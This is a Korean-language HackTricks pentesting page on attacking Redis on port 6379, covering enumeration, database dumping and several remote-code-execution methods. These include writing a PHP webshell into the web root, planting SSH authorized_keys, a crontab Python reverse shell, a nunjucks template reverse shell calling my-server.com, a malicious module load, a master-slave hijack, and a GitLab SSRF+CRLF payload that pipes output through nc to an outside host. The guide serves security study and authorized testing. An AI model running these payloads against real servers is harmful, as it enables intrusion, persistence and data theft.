6379 - Pentesting Redis

Reading time: 11 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기

기본 정보

From the docs: Redis는 오픈 소스(BSD 라이센스)이며, 메모리 내 데이터 구조 저장소로 사용되며, 데이터베이스, 캐시 및 메시지 브로커로 사용됩니다.

기본적으로 Redis는 평문 기반 프로토콜을 사용하지만, ssl/tls를 구현할 수도 있다는 점을 염두에 두어야 합니다. 여기에서 ssl/tls로 Redis 실행하는 방법을 배우세요.

기본 포트: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

자동 열거

Redis 인스턴스에서 정보를 얻는 데 도움이 될 수 있는 몇 가지 자동화 도구:

bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

수동 열거

배너

Redis는 텍스트 기반 프로토콜입니다. 소켓에 명령을 전송하면 반환된 값이 읽을 수 있습니다. 또한 Redis는 ssl/tls를 사용하여 실행될 수 있다는 점을 기억하세요(하지만 이는 매우 이상합니다).

일반 Redis 인스턴스에서는 nc를 사용하여 연결하거나 redis-cli를 사용할 수도 있습니다:

bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

첫 번째 명령어로 시도할 수 있는 것은 **info**입니다. 이 명령어는 Redis 인스턴스에 대한 정보가 포함된 출력을 반환할 수 있습니다 또는 다음과 같은 내용이 반환될 수 있습니다:

-NOAUTH Authentication required.

이 마지막 경우는 유효한 자격 증명이 필요하다는 것을 의미합니다.

Redis 인증

기본적으로 Redis는 자격 증명 없이 접근할 수 있습니다. 그러나 비밀번호만 또는 사용자 이름 + 비밀번호를 지원하도록 구성할 수 있습니다.
requirepass 매개변수를 사용하여 redis.conf 파일에 비밀번호를 설정할 수 있으며, 서비스가 재시작될 때까지 임시로 설정할 수 있습니다: config set requirepass p@ss$12E45.
또한, redis.conf 파일 내의 masteruser 매개변수에서 사용자 이름을 구성할 수 있습니다.

note

비밀번호만 구성된 경우 사용되는 사용자 이름은 "default"입니다.
또한, Redis가 비밀번호만 또는 사용자 이름+비밀번호로 구성되었는지 외부에서 확인할 방법이 없습니다.

이와 같은 경우에는 Redis와 상호작용하기 위해 유효한 자격 증명을 찾아야 하므로 브루트 포스를 시도할 수 있습니다.
유효한 자격 증명을 찾은 경우 연결을 설정한 후 세션을 인증해야 합니다:

bash
AUTH <username> <password>

유효한 자격 증명은 다음과 같이 응답됩니다: +OK

인증된 열거

Redis 서버가 익명 연결을 허용하거나 유효한 자격 증명을 얻은 경우, 다음 명령어를 사용하여 서비스의 열거 프로세스를 시작할 수 있습니다:

bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

기타 Redis 명령어 여기에서 확인할 수 있습니다 여기에서 확인할 수 있습니다.

인스턴스의 Redis 명령어는 redis.conf 파일에서 이름을 변경하거나 제거할 수 있습니다. 예를 들어 이 줄은 FLUSHDB 명령어를 제거합니다:

rename-command FLUSHDB ""

Redis 서비스를 안전하게 구성하는 방법에 대한 자세한 내용은 여기에서 확인하세요: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

또한 monitor 명령어를 사용하여 실행된 Redis 명령어를 실시간으로 모니터링하거나 **slowlog get 25**를 사용하여 25개의 가장 느린 쿼리를 가져올 수 있습니다.

더 많은 Redis 명령어에 대한 흥미로운 정보는 여기에서 확인하세요: https://lzone.de/cheat-sheet/Redis

데이터베이스 덤프

Redis 내에서 데이터베이스는 0부터 시작하는 숫자입니다. info 명령어의 출력에서 "Keyspace" 청크 안에 사용 중인 데이터베이스가 있는지 확인할 수 있습니다:

또는 다음 명령어로 모든 키스페이스(데이터베이스)를 가져올 수 있습니다:

INFO keyspace

그 예제에서 데이터베이스 0과 1이 사용되고 있습니다. 데이터베이스 0에는 4개의 키가 있고 데이터베이스 1에는 1개가 있습니다. 기본적으로 Redis는 데이터베이스 0을 사용합니다. 예를 들어 데이터베이스 1을 덤프하려면 다음을 수행해야 합니다:

bash
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

GET <KEY>를 실행하는 동안 -WRONGTYPE Operation against a key holding the wrong kind of value라는 오류가 발생하는 경우, 해당 키가 문자열이나 정수가 아닌 다른 유형일 수 있으며, 이를 표시하기 위해 특별한 연산자가 필요합니다.

키의 유형을 확인하려면 TYPE 명령을 사용하십시오. 아래는 리스트 및 해시 키에 대한 예입니다.

bash
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

npm으로 데이터베이스 덤프하기 redis-dump 또는 python redis-utils

Redis RCE

인터랙티브 셸

redis-rogue-server는 Redis(<=5.0.5)에서 자동으로 인터랙티브 셸 또는 리버스 셸을 얻을 수 있습니다.

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

Info from here. 당신은 웹 사이트 폴더경로를 알아야 합니다:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

웹셸 접근 예외가 발생하면, 백업 후 데이터베이스를 비우고 다시 시도할 수 있으며, 데이터베이스를 복원하는 것을 잊지 마십시오.

템플릿 웹셸

이전 섹션과 마찬가지로 템플릿 엔진에 의해 해석될 HTML 템플릿 파일을 덮어쓰고 셸을 얻을 수 있습니다.

예를 들어, 이 글을 따르면, 공격자가 nunjucks 템플릿 엔진에 의해 해석된 HTML에 rev 셸을 주입한 것을 볼 수 있습니다.

javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

warning

여러 템플릿 엔진이 템플릿을 메모리에 캐시하므로, 이를 덮어쓰더라도 새로운 템플릿이 실행되지 않을 수 있습니다. 이 경우, 개발자가 자동 재로드를 활성화한 상태이거나 서비스에 대해 DoS를 수행해야 하며 (자동으로 다시 시작될 것으로 예상해야 함).

SSH

Example from here

config get dir 결과는 다른 수동 익스플로잇 명령 후에 변경될 수 있습니다. Redis에 로그인한 직후에 이를 먼저 실행하는 것이 좋습니다. **config get dir**의 출력에서 redis 사용자home을 찾을 수 있습니다 (보통 /var/lib/redis 또는 /home/redis/.ssh). 이를 알면 authenticated_users 파일을 작성하여 redis 사용자로 ssh를 통해 접근할 수 있는 위치를 알 수 있습니다. 쓰기 권한이 있는 다른 유효한 사용자의 홈을 알고 있다면 이를 악용할 수도 있습니다:

  1. PC에서 ssh 공개-개인 키 쌍을 생성합니다: ssh-keygen -t rsa
  2. 공개 키를 파일에 씁니다: (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
  3. 파일을 redis에 가져옵니다: cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
  4. redis 서버의 authorized_keys 파일에 공개 키를 저장합니다:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. 마지막으로, 개인 키로 redis 서버ssh로 접속할 수 있습니다: ssh -i id_rsa redis@10.85.0.52

이 기술은 여기에서 자동화되어 있습니다: https://github.com/Avinash-acid/Redis-Server-Exploit

추가로, 시스템 사용자는 config set dir /home/USER로 확인하여 발견할 수 있으며, 확인 후 새로운 authorized_keys/home/USER/.ssh/authorized_keys에 작성할 수 있습니다. redis-rce-ssh를 사용하여 사용자 이름 단어 목록으로 이를 브루트포스하고 authorized_keys를 덮어쓸 수 있습니다.

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

마지막 예시는 Ubuntu에 대한 것이며, Centos의 경우 위 명령은 다음과 같아야 합니다: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

이 방법은 비트코인을 얻는 데에도 사용할 수 있습니다: yam

Redis 모듈 로드

  1. https://github.com/n0b0dyCN/RedisModules-ExecuteCommand에서 지침을 따르면 임의의 명령을 실행하기 위해 redis 모듈을 컴파일할 수 있습니다.
  2. 그런 다음 컴파일된 모듈을 업로드할 방법이 필요합니다.
  3. MODULE LOAD /path/to/mymodule.so로 런타임에 업로드된 모듈을 로드합니다.
  4. MODULE LIST로드된 모듈을 나열하여 올바르게 로드되었는지 확인합니다.
  5. 명령을 실행합니다:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. 원할 때마다 모듈을 언로드합니다: MODULE UNLOAD mymodule

LUA 샌드박스 우회

여기에서 Redis가 EVAL 명령을 사용하여 Lua 코드를 샌드박스화하여 실행하는 것을 볼 수 있습니다. 링크된 게시물에서 dofile 함수를 사용하여 악용하는 방법을 볼 수 있지만, 명백히 더 이상 가능하지 않은 것 같습니다. 어쨌든, Lua 샌드박스를 우회할 수 있다면 시스템에서 임의의 명령을 실행할 수 있습니다. 또한, 같은 게시물에서 DoS를 유발할 수 있는 몇 가지 옵션을 볼 수 있습니다.

LUA에서 탈출하기 위한 CVE:

마스터-슬레이브 모듈

마스터 Redis의 모든 작업은 자동으로 슬레이브 Redis에 동기화되므로, 취약한 Redis를 슬레이브 Redis로 간주할 수 있으며, 이는 우리가 제어하는 마스터 Redis에 연결되어 있습니다. 그런 다음 자신의 Redis에 명령을 입력할 수 있습니다.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF가 Redis와 통신하기

만약 명확한 텍스트 요청을 Redis에 보낼 수 있다면, Redis는 요청을 한 줄씩 읽고 이해하지 못하는 줄에 대해서는 오류로 응답할 것이므로 그와 통신할 수 있습니다:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

따라서, 웹사이트에서 SSRF vuln을 발견하고 일부 headers(아마도 CRLF vuln으로) 또는 POST parameters제어할 수 있다면, 임의의 명령을 Redis에 보낼 수 있습니다.

예시: Gitlab SSRF + CRLF to Shell

Gitlab11.4.7에서 SSRF 취약점과 CRLF가 발견되었습니다. SSRF 취약점은 새 프로젝트를 생성할 때 URL에서 프로젝트 가져오기 기능에 있었으며, [0:0:0:0:0:ffff:127.0.0.1] 형식의 임의 IP에 접근할 수 있게 해주었습니다(이는 127.0.0.1에 접근합니다). 그리고 CRLF vuln은 URL%0D%0A 문자를 추가하여 악용되었습니다.

따라서, 이 취약점을 악용하여 Redis 인스턴스와 통신할 수 있었습니다, 이 인스턴스는 gitlab큐를 관리하며, 이러한 큐를 악용하여 코드 실행을 얻을 수 있었습니다. Redis 큐 악용 페이로드는:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

그리고 URL 인코딩 요청 SSRF 악용CRLF를 사용하여 whoami를 실행하고 출력을 nc를 통해 반환하는 방법은:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

어떤 이유로 (이 정보가 가져온 https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ 의 저자에 따르면) git 스킴으로는 익스플로잇이 작동했지만 http 스킴으로는 작동하지 않았습니다.

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기